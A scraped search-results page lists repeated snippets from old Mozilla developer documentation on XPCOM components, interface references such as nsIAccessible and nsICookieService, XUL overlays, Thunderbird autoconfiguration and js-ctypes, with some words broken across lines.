ip between components and modules, of xpcom interfaces, and of the registration process in general. the top of each chapter provides a list of the major topics covered. sidebar sections are included to highlight technical details. by the end of the book, if we've done our job, you will have learned how to build a component and you will know something about the framework for these components in geck...
... component and you will know something about the framework for these components in gecko, which is xpcom. who should read this book no one. it is badly out of date, and much of what it says is either no longer remotely accurate, or is severely deprecated. if you are a historian, though... creating xpcom components is meant for c++ developers. though you can create xpcom components in javascr
ipt and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in...
...as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. also many of the examples are in javascr
ipt, which is used in mozilla to access xpcom components as scr
iptable objects, and so familiarity with that language is useful as well. xpcom stands for the cross platform component object model. as this name implies, xpcom is similar to microsoft com. if you have any experience with this technology, much of it can be applied to xpcom. however, this book does not assume any prior knowledge of com ...
...And 2 more matches
Making cross-thread calls using runnables
in general, threading and message passing should be asynchronous. ...
...in general, threading and message passing should be asynchronous. ...
...in general, threading and message passing should be asynchronous. ...
...And 2 more matches
XPCOM guide
these articles provide tutorials and usage documentation for xpcom, including how to use it in your own projects and how to build xpcom components for your firefox add-ons and the like. avoiding leaks in javascr
ipt xpcom componentsprogrammers writing and reviewing javascr
ipt code in mozilla should understand how code using xpcom in javascr
ipt can leak so that they can avoid leaks. ...
... xpcom components for your firefox add-ons and the like. avoiding leaks in javascr
ipt xpcom componentsprogrammers writing and reviewing javascr
ipt code in mozilla should understand how code using xpcom in javascr
ipt can leak so that they can avoid leaks. ...
...w code using xpcom in javascr
ipt can leak so that they can avoid leaks. this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascr
ipt patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascr
iptif you are looking for add-on sdk solution for xpcom javascr
ipt components then check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierarchy, and a corresponding c++ implementation hierarchy, you run into mult
iple inheritance. that's not inh...
...And 2 more matches
Components.Constructor
summary creates a javascr
ipt function which can be used to create or construct new instances of xpcom components. syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called descr
iption components.constructor() is a handy shortcut for creating instances of xpcom components. it eliminates the clutter of typing components.classes, components.in...
...on the newly-created instance, using the arguments provided to the created function when called descr
iption components.constructor() is a handy shortcut for creating instances of xpcom components. it eliminates the clutter of typing components.classes, components.interfaces, createinstance, and so on every time you wish to create an instance. it also gives creation of xpcom objects more javascr
ipt-like syntax. another important benefit is that it precomputes some of the computation it does, so using a function returned from components.constructor() to create xpcom objects is faster than creating the object from base princ
iples, as demonstrated below. ...
...if only one argument is given, that argument is the contract id of the xpcom component to create. ...
...And 2 more matches
nsACString (External)
methods ...
...methods beginreading ...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
...And 2 more matches
nsAString (External)
methods beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the leng...
...methods beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const...
...And 2 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this enum defines values which specify a text() boundary type. ia2_text_boundary_sentence is optional. when a method doesn't implement this method it must return s_false. typically this feature would not be implemented by an application. ...
...orner of the bounding box of the referenced character. width width of the bounding box of the referenced character. height height of the bounding box of the referenced character. return value e_invalidarg if bad [in] passed, [out] values are 0s. s_ok. ncharacters() returns total number of characters. [propget] hresult ncharacters( [out] long ncharacters ); parameters ncharacters missing descr
iption return value s_ok. newtext() returns any inserted text(). provided for use by the ::ia2_event_text_inserted and ::ia2_event_text_updated event handlers. this data is only guaranteed to be valid while the thread notifying the event continues. once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects. also, note that the server may ...
... server may have different life cycle management strategies for controls depending on whether or not a control manages its children. lists, trees, and tables can have a large number of children and thus it's possible that the child objects for those controls would only be created as needed. servers should document their life cycle strategy as this will be of interest to assistive technology or scr
ipt engines accessing data out of process or from other threads. servers only need to save the last inserted block of text() and a scope of the entire application is adequate. [propget] hresult newtext( [out] ia2textsegment newtext ); parameters newtext the text() that was just inserted. return value s_false if there is nothing to return, [out] value is null. s_ok. nselections() returns the num...
...And 2 more matches
imgILoader
modules/libpr0n/public/imgiloader.idlscr
iptable please add a summary to this article. ...
... from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in ns
iprinc
ipal aloadingprinc
ipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener); boolean supportimagewithmimet...
...gidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener); boolean supportimagewithmimetype(in string mimetype); constants constant value descr
iption load_cors_anonymous 1 << 16 load_cors_use_credentials 1 << 17 methods loadimage() start the load and decode of an image. imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in ns
iprinc
ipal aloadingprinc
ipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisup...
...And 2 more matches
mozIThirdPartyUtil
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean isthirdpartychannel(in nsichannel achannel, [optional] in nsiuri auri); boolean isthirdpartyuri(in nsiuri afirsturi, in nsiuri aseconduri); boolean isthirdpartywindow(in nsidomwindow awindow, [optional] in nsiuri auri); methods isthirdpartychannel() determine whether the given channel and its content window hierarchy is third party. ...
...e same-type window hierarchy of the channel. isthirdpartyuri() determine whether two uris are third party with respect to each other. this is determined by computing the base domain for both uris. if they can be determined, and the base domains match, the request is defined as first party. ...
...call this the 'bottom uri'. if auri is provided, determine if it is third party with respect to the bottom uri. ...
...And 2 more matches
nsIAccessible
nd atk. contains the sum of what's needed to support iaccessible as well as atk's generic accessibility objects. can also be used by in-process accessibility clients to get information about objects in the accessible tree. the accessible tree is a subset of nodes in the dom tree -- such as documents, focusable elements and text. mozilla creates the implementations of nsiaccessible on demand. [scr
iptable, uuid=(c7520419-87ec-42bc-98cc-04c0bf173530)] interface nsiaccessible : nsisupports { ... }; accessible/public/nsiaccessible.idlscr
iptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) overview this section provides short overview of methods and attributes of this interface. all methods and attributes are grouped by ...
...sible.takefocus() and nsiaccessible.focusedchild. to select an accessible you can use nsiaccessible.setselected(), nsiaccessible.takeselection() and nsiaccessible.extendselection(). actions you can prepare actions on some accessibles (for example on button accessible). the following methods are intended for this nsiaccessible.actioncount, nsiaccessible.getactionname(), nsiaccessible.getactiondescr
iption() and nsiaccessible.doaction(). descr
iptions nsiaccessible.descr
iption and nsiaccessible.help provides additional text information about accessible. attributes many accessibles exposes attributes to provide more details that cannot be fit into existing api methods, please refer to attributes documentation for more information. you can use nsiaccessible.attributes to get a map of attributes. k...
...node geometrically above this one. getaccessiblebelow this method returns an accessible node geometrically below this one. getaccessiblerelated this method returns an accessible related to this one by the given relation type. getrelation this method returns one accessible relation for this object. getrelations this method returns mult
iple accessible relations for this object. getbounds this method returns accessible's (x and y) coordinates relative to the screen and accessible's width and height. setselected this method adds or remove this accessible to the current selection. extendselection this method extends the current selection from its current accessible anchor node to this a...
...And 2 more matches
nsIBrowserHistory
it adds functions used by the basic browser like, marking pages as typed in the url bar, and removing pages as from the history interface. inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
...omain); void removevisitsbytimeframe(in long long abegintime, in long long aendtime); void unregisteropenpage(in nsiuri auri); obsolete since gecko 9.0 note: the markpageasfollowedlink and markpageastyped methods were moved to nsinavhistoryservice in gecko 22.0 so that all markpageas* methods can be found in one interface. attributes attribute type descr
iption count obsolete since gecko 15.0 pruint32 indicates if there are entries in global history. for performance reasons this does not return the real number of entries. read only. lastpagevisited obsolete since gecko 10.0 autf8string the last page that was visited in a top-level window. read only. note: the count attribute was removed in gecko 15.0 because it w...
... will cause the transition type of the next visit of the url to be marked as "typed." void markpageastyped( in nsiuri auri ); parameters auri the page that is to be marked as typed by the user. registeropenpage() obsolete since gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) mark a page as being currently open. note: this method was an alias for moz
iplacesautocomplete.registeropenpage(), which still exists and can be used instead. void registeropenpage( in nsiuri auri ); parameters auri the page that is to be marked as currently open. removeallpages() this method removes all the pages from the global history. void removeallpages(); parameters none. remarks visits are removed synchronously, but pages are expired asynchronously...
...And 2 more matches
nsIClassInfo
read only. classid nscidptr a classid through which an instance of this class can be created, or null. ...
...rovides information about a specific implementation class. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type descr
iption classdescr
iption string a human readable string naming the class, or null. read only. classid nscidptr a classid through which an instance of this class can be created, or null. if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getser...
...ass may be accessed as a service using nsiservicemanager.getservicebycontractid(). read only. flags pruint32 specifies various binary properties of this class. possible values for this attribute include a bit-wise combination of the constants read only. implementationlanguage obsolete since gecko 40 pruint32 the language type in which this class is implemented. see ns
iprogramminglanguage.constants for a list of possible values. read only. constants bitflags for 'flags' attribute. constant value descr
iption singleton 1 << 0 the class is a singleton that must be accessed via nsiservicemanager. threadsafe 1 << 1 the class may be accessed by any thread. main_thread_only 1 << 2 the class may only be...
...And 2 more matches
nsICookieService
this separation of interface is mainly historical. ...
...this separation of interface is mainly historical. ...
...nces cause a cookie to be rejected from being set. an nsiuri interface pointer representing the uri that attempted to set the cookie. none. method overview string getcookiestring(in nsiuri auri, in nsichannel achannel); string getcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel); void setcookiestring(in nsiuri auri, in ns
iprompt aprompt, in string acookie, in nsichannel achannel); void setcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in ns
iprompt aprompt, in string acookie, in string aservertime, in nsichannel achannel); attributes attribute type descr
iption cookieiconisvisible boolean this attribute really doesn't belong on this interface. cvs blame will te...
...And 2 more matches
nsIDirIndex
lastmodified prtime last-modified time in seconds-since-epoch. if the last modified time is unknown, this value is -1. location string the fully qualified filename, expressed as a uri. ...
... lastmodified prtime last-modified time in seconds-since-epoch. if the last modified time is unknown, this value is -1. location string the fully qualified filename, expressed as a uri. ...
... lastmodified prtime last-modified time in seconds-since-epoch. if the last modified time is unknown, this value is -1. location string the fully qualified filename, expressed as a uri. this is encoded with the encoding specified in the nsidirindexparser, and is also escaped. ...
...And 2 more matches
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscr
iptable this interface represents a single atom or rss (really simple syndication) news feed. it includes attributes that provide information about the feed, as well as access to the items or entries in the feed. 1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type descr
iption cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedge...
...anges to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedgenerator describes the software that produced a feed. image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2. items nsiarray specifies an array of the items or entries on the feed. ...
...ibes the software that produced a feed. image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2. items nsiarray specifies an array of the items or entries on the feed. sk
ipdays nsiarray an array of days of the week on which the feed should not be fetched. each entry in the array is the name of one day of the week to sk
ip. for example, to sk
ip fetching on mondays, a feed that does not want to be fetched on mondays would specify "monday" in this array. note: this field is rarely implemented. sk
iphours nsiarray an array of the hours of the day during which the feed should not be fetched. the hours are represented as integer values from 0 (midnight) to 23 (11:00 pm), and are always indica...
...And 2 more matches
nsIFileView
inherits from: nsisupports last changed in gecko 1.7 note: nsifileview is linux-only interface. it's not included in windows or mac builds. note: a quirk of the nsifileview is that it requires an appropriate treecols section in the tree tag, by default fileview will return the file size in the column. if the treecol id is "filenamecolumn" fileview will return the file name, if the id is "lastmodifiedcolumn" it will return the date of last modification. currently no other file stats are implemented. ...
...@mozilla.org/filepicker/fileview;1. to create an instance, use: var fileview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); method overview void setdirectory(in nsifile directory); void setfilter(in astring filterstring); void sort(in short sorttype, in boolean reversesort); attributes attribute type descr
iption reversesort boolean if true results will be sorted in ascending order. read only. selectedfiles nsiarray an nsiarray of selected files, which contains nsiarray instances. read only. showhiddenfiles boolean if true hidden files will be shown. showonlydirectories boolean if true only directory entries will be returned. sorttype short the current sort type in effect. read only. cons...
... true results will be sorted in ascending order. read only. selectedfiles nsiarray an nsiarray of selected files, which contains nsiarray instances. read only. showhiddenfiles boolean if true hidden files will be shown. showonlydirectories boolean if true only directory entries will be returned. sorttype short the current sort type in effect. read only. constants constant value descr
iption sortname 0 sort by file name. sortsize 1 sort by file size. sortdate 2 sort by the date of the last modification. methods setdirectory() set the directory to be browsed. void setdirectory( in nsifile directory ); parameters directory the directory to be browsed. setfilter() set the filter to be applied to the file list, for example "*.jpg" would only return jpg files. void setfi...
...And 2 more matches
nsIHTMLEditor
editor/idl/nsihtmleditor.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astrin...
... returninparagraphcreatesnewparagraph boolean a boolean indicating if a return key pressed in a paragraph creates another paragraph or just inserts a <br> at the caret. constants constant value de...
...n iscssenabled boolean a boolean which is true is the htmleditor has been instantiated with css knowledge and if the css pref is currently checked. returninparagraphcreatesnewparagraph boolean a boolean indicating if a return key pressed in a paragraph creates another paragraph or just inserts a <br> at the caret. constants constant value descr
iption eleft 0 ecenter 1 eright 2 ejustify 3 methods adddefaultproperty() registers a default style property with the editor. void adddefaultproperty( in nsiatom aproperty, in astring aattribute, in astring avalue ); parameters aproperty the property to set by default. aattribute the attribute of the property...
...And 2 more matches
nsIJetpack
js/jetpack/nsijetpack.idlscr
iptable this interface enables communication between the chrome process and a remote jetpack process. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ... */); void registerreceiver(in astring amessagename, in jsval areceiver); void unregisterreceiver(in astring amessagename, in jsval areceiver); void unregisterreceivers(in astring amessagename); void evalscr
ipt(in astring ascr
ipt); nsivariant createhandle(); void destroy(); methods sendmessage() this method asynchronously sends a message to the jetpack process. void sendmessage( ...
...sagename); void evalscr
ipt(in astring ascr
ipt); nsivariant createhandle(); void destroy(); methods sendmessage() this method asynchronously sends a message to the jetpack process. void sendmessage( in astring amessagename, [optional] in jsval v1, optional [optional] in jsval v2, optional ... ); parameters amessagename the name of the message to send. v1, v2, ... optional javascr
ipt values to send with the message; they must be either json-serializable types or handles. registerreceiver() this registers a callback to be triggered whenever the jetpack process sends a particular message. note: mult
iple callbacks may be registered for the same message; they will all be triggered. void registerreceiver( in astring amessagename, in jsval areceiver ); parameters amessagena...
...the first argument passed to it is the name of the message, and all arguments following it are either json-serializable types or handles. ...
...And 2 more matches
nsIMsgCompFields
<< xpcom api reference summary the nsimsgcompfields interface provides properties for an composition of an outgoing message. ...
...(bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' ...
... to false when 'send anyway' is selected by a user. ...
...And 2 more matches
nsINavBookmarksService
bookmarks consist of a set of user-customizable folders. a uri in history can be contained in one or more such folders. 1.0 67 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-service;1. ...
...read only. note: renamed from bookmarksroot in gecko 1.9 placesroot long long the item id of the top-level folder that contains bookmarks, tags and all other places data. this contains administrative data as well as user data, and is therefore not recommended for use in queries. read only. ...
... top-level folder that contains the tag "folders". read only. note: renamed from tagroot in gecko 1.9 toolbarfolder long long the item id of the personal toolbar folder. read only. note: renamed from toolbarroot in gecko 1.9 unfiledbookmarksfolder long long the item id of the unfiled bookmarks folder. read only. constants constant value descr
iption default_index -1 this is the default index; this value should be used for apis that allow passing in an index where the index is not known or is not required to be specified, such as when appending an item to a folder. type_bookmark 1 this is an index for type "bookmark". type_folder 2 this is an index for type "folder". type_separator ...
...And 2 more matches
nsINavHistoryQueryOptions
toolkit/components/places/nsinavhistoryservice.idlscr
iptable represents the global options for executing a query. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) method overview nsinavhistoryqueryoptions clone(); attributes attribute type descr
iption applyoptionstocontainers boolean if true, the query options are only applied to the containers. asyncenabled boolean when true, the root container node generated by these options and all of its descendant containers are opened asynchronously if they support doing so. by default, this is false. ...
... sortingmode short the sorting annotation to use; see sorting methods for possible values. constants sorting methods you can ask for the results to be pre-sorted. since the db has indices of many items, it can produce sorted results almost for free. note: re-sorting is slower, as is sorting by title or when you have a host name. constant value descr
iption sort_by_none 0 for bookmark items, this constant means sort by the natural bookmark order. sort_by_title_ascending 1 sort by the ascending title order. sort_by_title_descending 2 sort by the descending title order. sort_by_date_ascending 3 sort by the ascending date order. ...
...the ascending annotation order. sort_by_annotation_descending 20 sort by the descending annotation order. sort_by_frecency_ascending 21 sort by ascending frecency order. sort_by_frecency_descending 22 sort by descending frecency order. result type constants constant value descr
iption results_as_uri 0 "uri" results, one for each uri visited in the range. individual result nodes will be of type "uri". results_as_visit 1 "visit" results, with one for each time a page was visited (this will often give you mult
iple results for one uri). individual result nodes will have type "visit". results_as_full_visit ...
...And 2 more matches
nsISelection
nsiselection content/base/public/nsiselection.idlscr
iptable ??? add brief descr
iption of interface ??? ...
... nsiselection content/base/public/nsiselection.idlscr
iptable ??? add brief descr
iption of interface ??? ...
...?????????. ...
...And 2 more matches
nsISelectionController
content/base/public/nsiselectioncontroller.idlscr
iptable please add a summary to this article. inherits from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendforbackspace(); native code only! void characterextendfordelete(); native code only! void charactermove(in boolean forward, in boolean extend); boolean checkvisibility(in nsidomnode node, in short startoffset, in short endoffset); void completemove(in boolean forward, in boolean extend); void completescroll(in boolean forward); boolean getcaretenabled(); short getdisplayselection(); nsiselection getse...
...ilityduringselection(in boolean visibility); void setcaretwidth(in short pixels); obsolete since gecko 1.8 void setdisplayselection(in short toggle); void wordextendfordelete(in boolean forward); native code only! ...
...olean extend); attributes attribute type descr
iption caretvisible boolean this is true if the caret is enabled, visible, and currently blinking. this is still true when the caret is enabled, visible, but in its "off" blink cycle. read only. ...
...And 2 more matches
nsISyncMessageSender
dsyncmessage() and sendrpcmessage() will block until a reply is received, but they may be temporarily interrupted to process an urgent incoming message (such as a cpow request). methods jsval sendsyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in ns
iprinc
ipal princ
ipal); jsval sendrpcmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in ns
iprinc
ipal princ
ipal); sendsyncmessage() like sendasyncmessage(), except blocks the sender until all listeners of the message have been invoked. returns an arr...
... initialized. for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to send a message to a cross-process frame whose process has crashed. parameters name type descr
iption messagename string the name of the message. optional. this becomes the name property of the received message. obj object. the message payload. a structured clone of this becomes the data property of the received message. objects object. an object each of whose properties is an object. this becomes the objects ...
...ed message. obj object. the message payload. a structured clone of this becomes the data property of the received message. objects object. an object each of whose properties is an object. this becomes the objects property of the received message, with each original object replaced with a cross process object wrapper for it. princ
ipal ns
iprinc
ipal returns array: an array of structured clones of the objects returned by all the listeners to this message, one element for each listener. if there was only one listener, it is an array with a single element. sendrpcmessage() like sendsyncmessage(), except re-entrant. new rpc messages may be issued even if, earlier on the call stack, we are waiting for a reply to an ea...
...And 2 more matches
nsIToolkitProfileService
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1, this service is implemented by @mozilla.org/toolkit/profile-service;1. to access the service, you can use the following code: var toolkitprofileservice = components.classes["@mozilla.org/toolkit/profile-service;1"] .createinstance(components.interfaces.nsitoolkitprofileservice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile service. ...
... is recommended that you use os.file to find the profile directory via os.constants.path.profiledir. os.file is available from gecko 18 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15). method overview nsitoolkitprofile createprofile(in nsilocalfile arootdir, in autf8string aname); void flush(); nsitoolkitprofile getprofilebyname(in autf8string aname); ns
iprofilelock lockprofilepath(in nsilocalfile adirectory, in nsilocalfile atempdirectory); attributes attribute type descr
iption profilecount unsigned long the number of user profiles currently in existence. this will always return 0, 1, or 2; if there are more than 2 profiles, 2 is always returned. read only. profiles nsisimpleenumerator an enumerat...
...ofilebyname( in autf8string aname ); parameters aname the profile name to find. return value an nsitoolkitprofile object describing the specified profile. exceptions thrown ns_error_failure no matching profile was found. lockprofilepath() locks an arbitrary path as a profile. if the path does not exist, it is created and the defaults copied from the application directory. ...
...And 2 more matches
nsIWebBrowserPersist
inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1. ...
...read only. persistflags unsigned long flags governing how data is fetched and saved from the network. it is best to set this value explicitly unless you are prepared to accept the default values. progresslistener nsiwebprogresslistener callback listener for progress notifications. th...
...tener callback listener for progress notifications. the object that the embbedder supplies may also implement nsiinterfacerequestor and be prepared to return nsiauthprompt or other interfaces that may be required to download data. result unsigned long value indicating the success or failure of the persist operation. read only. constants constant value descr
iption persist_flags_none 0 no special persistence behavior. persist_flags_from_cache 1 only use cached data (could result in failure if data is not cached). persist_flags_bypass_cache 2 bypass the cached data. persist_flags_ignore_redirected_data 4 ignore any redirected data (usually adverts). persist_flags_ignore_iframes 8 ...
...And 2 more matches
nsIWebProgress
remove nsiwebprogresslistener instances to observe the loading of asynchronous requests (usually in the context of a dom window). nsiwebprogress instances may be arranged in a parent-child configuration, corresponding to the parent-child configuration of their respective dom windows. however, in some cases a nsiwebprogress instance may not have an associated dom window. the parent-child relationsh
ip of nsiwebprogress instances is not made explicit by this interface, but the relationsh
ip may exist in some implementations. a nsiwebprogresslistener instance receives notifications for the nsiwebprogress instance to which it added itself, and it may also receive notifications from any nsiwebprogress instances that are children of that nsiwebprogress instance. uriloader/base/nsiwebprogress.idlscr...
... of nsiwebprogress instances is not made explicit by this interface, but the relationsh
ip may exist in some implementations. a nsiwebprogresslistener instance receives notifications for the nsiwebprogress instance to which it added itself, and it may also receive notifications from any nsiwebprogress instances that are children of that nsiwebprogress instance. uriloader/base/nsiwebprogress.idlscr
iptable please add a summary to this article. ...
...read only. exceptions thrown ns_error_failure indicates that there is no associated dom window. isloadingdocument prbool indicates whether or not a document is currently being loaded in the context of this nsiwebprogress instance. ...
...And 2 more matches
XUL Overlays
ne loads any overlay files and then flows the resulting xul document, so problems associated with incremental insertion in menus, boxes, tables, and forms are avoided. any number of overlays can be loaded into a master document, and an overlay can also load other overlays. because an overlay is superimposed on the master document, there are no ambiguities relating to scoping of style sheets or scr
ipts. style sheets and scr
ipts loaded by the overlay simply apply to the entire master document. loading overlays dynamically the chrome registry makes it possible to load xul overlays dynamically -- or only when necessary. the chrome registry, which is a special rdf datasource into which user-specific information is persisted, or stored, contains information about the components or additional packa...
...e with the position attribute orders itself to the top of the menu. the position can also be given for nodes in overlay files that will be ordered in a group of similar items in the base file. for example, if only the last menuitem above had been in an overlay and the other items were defined in the base file, the overlayed menuitem would still appear at the top of the parent menu. ...
...rs itself to the top of the menu. the position can also be given for nodes in overlay files that will be ordered in a group of similar items in the base file. for example, if only the last menuitem above had been in an overlay and the other items were defined in the base file, the overlayed menuitem would still appear at the top of the parent menu. attaching a scr
ipt to an overlay to execute a scr
ipt when an overlay is applied, use a <scr
ipt> element: <scr
ipt src="overlay.js"/> if you need to set the version of javascr
ipt, you can set the type attribute: <scr
ipt type="application/x-javascr
ipt;version=1.8" src="overlay.js"/> ui reuse with overlays one of the biggest benefits of using overlays is that it allows you to reuse groups of elements that appear frequently in the ui. the overlay mecha...
...And 2 more matches
Autoconfiguration in Thunderbird
il servers. in many cases, people should be able to download and install thunderbird, enter their real name, email address and password in the account setup wizard and have a fully functioning mail client and get and send their mail as securely as possible. see also: for instructions for users, see automatic account configuration on the thunderbird knowledge base. the configuration file descr
iption and definition the original project page on the mozilla wiki for background, design, implementation and project details this document describes how autoconfiguration in thunderbird works, and what to do to allow mail servers to be autoconfigured. mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a c...
...ster.com and your customer registers fancy.com or example.com, and your servers accept and serve the mail for example.com -, you should set up an autoconfig server. dns for each customer domain, you add a dns record (in addition to the existing mx, a www etc. dns records): autoconfig in a 10.2.3.4 or autoconfig in cname autoconfig.hoster.com. ... where 10.2.3.4 and autoconfig.hoster.com are
ip addresses / hostnames you own. this allows thunderbird to find you as hoster. to make the version without an autoconfig dns entry work you have to make sure that example.com points to the webserver you will place the config-v1.1.xml on. example: example.com a 10.2.3.4 web server you set up a web server bound to a physical
ip address. this may be on the same machine as other web servers, but ...
...ebserver you will place the config-v1.1.xml on. example: example.com a 10.2.3.4 web server you set up a web server bound to a physical
ip address. this may be on the same machine as other web servers, but the web server must be configured to the content to any requested domain. you must use a virtual host that match all autoconfig.* domains of your customers. in apache terms, you can use a "
ip-based virtual host". ...
...And 2 more matches
Building a Thunderbird extension 3: install manifest
wer information. the install.rdf file is an xml file that provides general information about the extension. ...
...the first portion...
...the first portion is the short name of the extension and must be in lowercase; the last portion is a two-part period-delimited value such as your first and last name or the top-level domai...
...And 2 more matches
Creating a Custom Column
unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler no...
...unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler now that our column physically exists it's time to give it a bit of personality. the nsimsgcustomcolumn...
...unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler now that our column physically exists it's time to give it a bit of personality. the nsimsgcustomcolumnhandler interface ...
...And 2 more matches
Using C struct and pointers
in this example, we show how to use c structs and pointers with js-ctypes. ...
...es.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype object that represents the c struct named st_t. the first parameter of this method is the name of the type, which corresponds to the name of the c struct. ...
... { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype object that represents the c struct named st_t. the first parameter of this method is the name of the type, which corresponds to the name of the c struct. the second parameter is an array of field descr
iptors. ...
...And 2 more matches
Declaring and Using Callbacks
c functions occasionally take function pointers as arguments, which are generally used as callbacks. in these cases, js-ctypes allows you to pass a regular javascr
ipt function as the callback. this is very powerful, since it allows native code to transparently call into javascr
ipt. warning: callbacks must be invoked on the same thread with which they were registered. there is no concurrency logic in js-ctypes, so invoking callbacks on other threads will cause things to crash. prerequiste understanding abi functiontype declaring callbacks a callback is declared by using ctypes.functiontype. ...
